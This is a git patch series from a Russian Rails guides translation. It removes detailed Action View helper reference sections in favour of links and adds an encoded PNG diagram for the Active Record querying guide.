option для предоставленного объекта и метода. -Example: +Пример: ```ruby select("article", "person_id", Person.all.collect { |p| [ p.name, p.id ] }, { include_blank: true }) ``` -If `@article.person_id` is 1, this would become: +Если `@article.person_id` — 1, это выдаст: ```html - - - - - -``` - -Объект params, созданный при отправке этой формы, будет выглядеть так: - -```ruby -{"utf8" => "✓", "authenticity_token" => "lTuvBzs7ANygT0NFinXj98tfw3Emfm65wwYLbUvoWsK2pngccIQSUorM2C035M9dZswXgWTvKwFS8W5TVblpYw==", "person" => {"first_name" => "William", "last_name" => "Smith"}, "commit" => "Create", "controller" => "people", "action" => "create"} -``` - -В хэше params будет вложенное значение person, к которому можно получить доступ в контроллере с помощью `params[:person]`. - -#### check_box - -Возвращает тег чекбокса с учетом доступа к определенному атрибуту. - -```ruby -# Допустим, что @article.validated? равен 1: -check_box("article", "validated") -# => -# -``` - -#### fields_for - -Создает пространство имен вокруг определенного объекта модели наподобие `form_for`, но не создает сами теги формы. Это делает `fields_for` подходящим для указания дополнительных объектов модели в той же форме: - -```html+erb -<%= form_for @person, url: { action: "update" } do |person_form| %> - First name: <%= person_form.text_field :first_name %> - Last name : <%= person_form.text_field :last_name %> - - <%= fields_for @person.permission do |permission_fields| %> - Admin? : <%= permission_fields.check_box :admin %> - <% end %> -<% end %> -``` - -#### file_field - -Возвращает поле для загрузки файла с учетом доступа к определенному атрибуту. - -```ruby -file_field(:user, :avatar) -# => -``` - -#### form_for - -Создает форму и пространство имен вокруг определенного объекта модели, используемого как основа для опроса значений полей. - -```html+erb -<%= form_for @article do |f| %> - <%= f.label :title, 'Title' %>: - <%= f.text_field :title %>
    - <%= f.label :body, 'Body' %>: - <%= f.text_area :body %>
    -<% end %> -``` - -#### hidden_field - -Возвращает тег скрытого поля с учетом доступа к определенному атрибуту. - -```ruby -hidden_field(:user, :token) -# => -``` - -#### label - -Возвращает тег label с учетом поля ввода для определенного атрибута. - -```ruby -label(:article, :title) -# => -``` - -#### password_field - -Возвращает тег input типа "password" с учетом доступа к определенному атрибуту. - -```ruby -password_field(:login, :pass) -# => -``` - -#### radio_button - -Возвращает тег радио кнопки с учетом доступа к определенному атрибуту. - -```ruby -# Let's say that @article.category returns "rails": -radio_button("article", "category", "rails") -radio_button("article", "category", "java") -# => -# -``` - -#### text_area - -Возвращает набор открывающего и закрывающего тега textarea с учетом доступа к определенному атрибуту. - -```ruby -text_area(:comment, :text, size: "20x30") -# => -``` - -#### text_field - -Возвращает тег input типа "text" с учетом доступа к определенному атрибуту. - -```ruby -text_field(:article, :title) -# => -``` - -#### email_field - -Возвращает тег input типа "email" с учетом доступа к определенному атрибуту. - -```ruby -email_field(:user, :email) -# => -``` - -#### url_field - -Возвращает тег input типа "url" с учетом доступа к определенному атрибуту. - -```ruby -url_field(:user, :url) -# => -``` - -### FormOptionsHelper - -Предоставляет ряд методов для превращения различного рода контейнеров в набор тегов option. - -#### collection_select - -Возвращает теги `select` и `option` для коллекции значений, возвращаемых `method` для класса `object`. - -Пример структуры объекта для использования с этим методом: - -```ruby -class Article < ApplicationRecord - belongs_to :author -end - -class Author < ApplicationRecord - has_many :articles - def name_with_initial - "#{first_name.first}. #{last_name}" - end -end -``` - -Пример использования (выбор связанного Author для экземпляра Article, `@article`): - -```ruby -collection_select(:article, :author_id, Author.all, :id, :name_with_initial, { prompt: true }) -``` - -Если `@article.author_id` — 1, это вернет: - -```html - -``` - -#### collection_radio_buttons - -Возвращает теги `radio_button` для коллекции значений, возвращаемых `method` для класса `object`. - -Пример структуры объекта для использования с этим методом: - -```ruby -class Article < ApplicationRecord - belongs_to :author -end - -class Author < ApplicationRecord - has_many :articles - def name_with_initial - "#{first_name.first}. #{last_name}" - end -end -``` - -Пример использования (выбор связанного Author для экземпляра Article, `@article`): - -```ruby -collection_radio_buttons(:article, :author_id, Author.all, :id, :name_with_initial) -``` - -Если `@article.author_id` — 1, это вернет: - -```html - - - - - - -``` - -Раскрыть, что некоторый вариант выбран (т.е. программно отметить объект из коллекции): - -```ruby -collection_radio_buttons(:article, :author_id, Author.all, :id, :name_with_initial, {checked: Author.last}) -``` - -В этом случае, последний объект из коллекции будет отмечен: - -```html - - - - - - -``` - -Чтобы программно получить доступ к переданным опциям (например, добавить пользовательский класс, если отмечен): - -**Образец html.erb** - -```html+erb -<%= collection_radio_buttons(:article, :author_id, Author.all, :id, :name_with_initial, {checked: Author.last, required: true} do |rb| %> - <%= rb.label(class: "#{'my-custom-class' if rb.value == Author.last.id}") { rb.radio_button + rb.text } %> -<% end %> -``` - -#### collection_check_boxes - -Возвращает теги `check_box` для коллекции значений, возвращаемых `method` для класса `object`. - -Пример структуры объекта для использования с этим методом: - -```ruby -class Article < ApplicationRecord - has_and_belongs_to_many :authors -end - -class Author < ApplicationRecord - has_and_belongs_to_many :articles - def name_with_initial - "#{first_name.first}. #{last_name}" - end -end -``` - -Пример использования (выбор связанного Author для экземпляра Article, `@article`): - -```ruby -collection_check_boxes(:article, :author_ids, Author.all, :id, :name_with_initial) -``` - -Если `@article.author_id` — [1], это вернет: - - -```html - - - - - - - -``` - -#### option_groups_from_collection_for_select - -Возвращает строку с тегами `option`, подобно `options_from_collection_for_select`, но группирует их тегами `optgroup` на основе объектных отношений аргументов. - -Пример структуры объекта для использования с этим методом: - -```ruby -class Continent < ApplicationRecord - has_many :countries - # attribs: id, name -end - -class Country < ApplicationRecord - belongs_to :continent - # attribs: id, name, continent_id -end -``` - -Пример использования: - -```ruby -option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3) -``` - -Возможный результат: - -```html - - - - ... - - - - - - ... - -``` - -NOTE: Возвращаются только теги `optgroup` и `option`, вам все еще нужно обернуть результат в подходящий тег `select`. - -#### options_for_select - -Принимает контейнер (хэш, массив, перечисление, ваш тип) и возвращает строку тегов option. - -```ruby -options_for_select([ "VISA", "MasterCard" ]) -# => -``` - -NOTE: Возвращаются только теги `option`, вам все еще нужно обернуть результат в обычный HTML-тег `select`. - -#### options_from_collection_for_select - -Возвращает строку тегов option, собранную с помощью итерации по `collection` и назначая результат вызова `value_method` как значение option и `text_method` как текст option. - -```ruby -# options_from_collection_for_select(collection, value_method, text_method, selected = nil) -``` - -Например, представим цикл, проходящий по каждому человеку в `@project.people` для создания тега ввода: - -```ruby -options_from_collection_for_select(@project.people, "id", "name") -# => -``` - -NOTE: Возвращаются только теги `option`, вам все еще нужно обернуть результат в обычный HTML-тег `select`. - -#### select - -Создает тег select и ряд связанных тегов option для предоставленного объекта и метода. - -Пример: - -```ruby -select("article", "person_id", Person.all.collect { |p| [ p.name, p.id ] }, { include_blank: true }) -``` - -Если `@article.person_id` — 1, это выдаст: - -```html - -``` - -#### time_zone_options_for_select - -Возвращает строку тегов option для практически любой временной зоны в мире. - -#### time_zone_select - -Возвращает теги select и option для заданного объекта и метода, используя `time_zone_options_for_select` для создания списка тегов option. - -```ruby -time_zone_select("user", "time_zone") -``` - -#### date_field - -Возвращает тег input типа "date" с учетом доступа к определенному атрибуту. - -```ruby -date_field("user", "dob") -``` - -### FormTagHelper - -Предоставляет ряд методов для создания тегов форм, которые не зависят от объекта Active Record, назначенного шаблону, как делает FormHelper. Вместо этого вы предоставляете вручную имена и значения. - -#### check_box_tag - -Создает тег поля ввода формы в виде чекбокса. - -```ruby -check_box_tag 'accept' -# => -``` - -#### field_set_tag - -Создает fieldset для группировки элементов формы HTML. - -```html+erb -<%= field_set_tag do %> -

    <%= text_field_tag 'name' %>

    -<% end %> -# =>

    -``` - -#### file_field_tag - -Создает поле для загрузки файла. - -```html+erb -<%= form_tag({ action:"post" }, multipart: true) do %> - <%= file_field_tag "file" %> - <%= submit_tag %> -<% end %> -``` - -Примерный результат: - -```ruby -file_field_tag 'attachment' -# => -``` - -#### form_tag - -Открывает тег form, указывающий action по URL-адресу, настроенный с помощью `url_for_options`, как `ActionController::Base#url_for`. - -```html+erb -<%= form_tag '/articles' do %> -
    <%= submit_tag 'Save' %>
    -<% end %> -# =>
    -``` - -#### hidden_field_tag - -Создает скрытое поле input, используемое для передачи данных, которые будут потеряны из-за протокола без сохранения состояния HTTP, или данные, которые должны быть скрыты от пользователя. - -```ruby -hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@' -# => -``` - -#### image_submit_tag - -Отображает изображение, при нажатии на которое будет отправлена форма. - -```ruby -image_submit_tag("login.png") -# => -``` - -#### label_tag - -Создает тег label. - -```ruby -label_tag 'name' -# => -``` - -#### password_field_tag - -Создает поле для ввода пароля, скрытое текстовое поле, которое спрячет то, что вводит пользователь символами маски. - -```ruby -password_field_tag 'pass' -# => -``` - -#### radio_button_tag - -Создает радиокнопку; используйте группу радиокнопок с одинаковым именем, чтобы пользователи могли выбирать из группы опций. - -```ruby -radio_button_tag 'favorite_color', 'maroon' -# => -``` - -#### select_tag - -Создает выпадающий список. - -```ruby -select_tag "people", "" -# => -``` - -#### submit_tag - -Создает кнопку для отправки формы с текстом-заголовком. - -```ruby -submit_tag "Publish this article" -# => -``` - -#### text_area_tag - -Создает область ввода текста; используйте textarea для длинного ввода текста, такого как статьи в блоге или описания. - -```ruby -text_area_tag 'article' -# => -``` - -#### text_field_tag - -Создает стандартное поле ввода текста; используйте их для ввода небольших кусочков текста, таких как имя пользователя или поисковый запрос. - -```ruby -text_field_tag 'name' -# => -``` - -#### email_field_tag - -Создает стандартное поле ввода с типом email. - -```ruby -email_field_tag 'email' -# => -``` - -#### url_field_tag - -Создает стандартное поле ввода с типом url. - -```ruby -url_field_tag 'url' -# => -``` - -#### date_field_tag - -Создает стандартное поле ввода с типом date. - -```ruby -date_field_tag "dob" -# => -``` - -### JavaScriptHelper - -Предоставляет функциональность для работы с JavaScript в ваших вьюхах. - -#### escape_javascript - -Экранирует переводы строк и одиночные и двойные кавычки во фрагментах JavaScript. - -#### javascript_tag - -Возвращает тег JavaScript, оборачивающий предоставленный код. - -```ruby -javascript_tag "alert('All is good')" -``` - -```html - -``` - -### NumberHelper - -Предоставляет методы для конвертации чисел в форматированные строки. Методы предоставлены для телефонных номеров, валют, процентов, позиционных систем счисления и размеров файла. - -#### number_to_currency - -Форматирует число в строку с символом валюты (например, $13.65). - -```ruby -number_to_currency(1234567890.50) # => $1,234,567,890.50 -``` - -#### number_to_human_size - -Форматирует размер в байтах в более понятное представление; полезно для показа размеров файла пользователям. - -```ruby -number_to_human_size(1234) # => 1.2 KB -number_to_human_size(1234567) # => 1.2 MB -``` - -#### number_to_percentage - -Форматирует число в строку с символом процента. - -```ruby -number_to_percentage(100, precision: 0) # => 100% -``` - -#### number_to_phone - -Форматирует число в телефонный номер (по умолчанию США). - -```ruby -number_to_phone(1235551234) # => 123-555-1234 -``` - -#### number_with_delimiter - -Форматирует число с сгруппированными тысячами, используя разделитель. - -```ruby -number_with_delimiter(12345678) # => 12,345,678 -``` - -#### number_with_precision - -Форматирует число с помощью определенного уровня точности, по умолчанию 3. - -```ruby -number_with_precision(111.2345) # => 111.235 -number_with_precision(111.2345, precision: 2) # => 111.23 -``` - -### SanitizeHelper - -Модуль SanitizeHelper предоставляет набор методов для очистки текста от нежелательных элементов HTML. - -#### sanitize - -Хелпер sanitize экранирует все теги HTML и удаляет все атрибуты, которые не разрешены явно. - -```ruby -sanitize @article.body -``` - -Если переданы опции или `:attributes`, или `:tags`, разрешены только упомянутые теги и атрибуты, и ничего более. - -```ruby -sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style) -``` - -Чтобы изменить значения по умолчанию для многократного использования, например, добавить теги таблиц к значениям по умолчанию: - -```ruby -class Application < Rails::Application - config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td' -end -``` - -#### sanitize_css(style) - -Экранирует блок кода CSS. - -#### strip_links(html) - -Обрезает все теги ссылок в тексте, оставляя только текст ссылки. - -```ruby -strip_links('Ruby on Rails') -# => Ruby on Rails -``` - -```ruby -strip_links('emails to me@email.com.') -# => emails to me@email.com. -``` - -```ruby -strip_links('Blog: Visit.') -# => Blog: Visit. -``` - -#### strip_tags(html) - -Обрезает все теги HTML из html, включая комментарии. -Эта функция доступна, если подключен гем rails-html-sanitizer. - -```ruby -strip_tags("Strip these tags!") -# => Strip these tags! -``` - -```ruby -strip_tags("Bold no more! See more") -# => Bold no more! See more -``` - -NB: Результат все еще может содержать неэкранированные символы '<', '>', '&' и путать браузеры. - -### CsrfHelper - -Возвращает метатеги "csrf-param" и "csrf-token" с, соответственно, именами параметра и токена против межсайтовой подделки запроса. - -```html -<%= csrf_meta_tags %> -``` - -NOTE: Обычные формы создают скрытые поля, поэтому они не используют эти теги. Подробнее в руководстве [Безопасность приложений на Rails](/ruby-on-rails-security-guide#cross-site-request-forgery-csrf). +Подробнее о хелперах можно узнать в [руководстве по хелперам Action View](/action-view-helpers) и [руководстве по хелперам форм Action View](/rails-form-helpers). Локализованные вьюхи -------------------- diff --git a/source/index.yml b/source/index.yml index 67ad0042..25f8c618 100644 --- a/source/index.yml +++ b/source/index.yml @@ -69,8 +69,8 @@ pages: - title: Обзор Action View path: action-view-overview file: action_view_overview.md - revision: 1816348f7e4ee46bb82b96a6f1469448fd9fc204 - date: 25/07/2019 + revision: 9a4e328d3ebcceca0ff1f632aa29156f9ad2d001 + date: 07/06/2020 - title: Макеты и рендеринг в Rails path: layouts-and-rendering-in-rails From 18ec3c967877dd499e697ee12a908bd0f52dfec9 Mon Sep 17 00:00:00 2001 From: Mikhail Date: Fri, 2 Oct 2020 19:08:22 +0300 Subject: [PATCH 506/932] Update for AR querying guide --- .../bookstore_models.png | Bin 0 -> 99065 bytes source/active_record_querying.md | 1129 +++++++++-------- source/index.yml | 4 +- 3 files changed, 621 insertions(+), 512 deletions(-) create mode 100644 public/images/active_record_querying/bookstore_models.png diff --git a/public/images/active_record_querying/bookstore_models.png b/public/images/active_record_querying/bookstore_models.png new file mode 100644 index 0000000000000000000000000000000000000000..ed5cf45135d8a965ef4af0b76a9de5e4978e928e GIT binary patch literal 99065 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 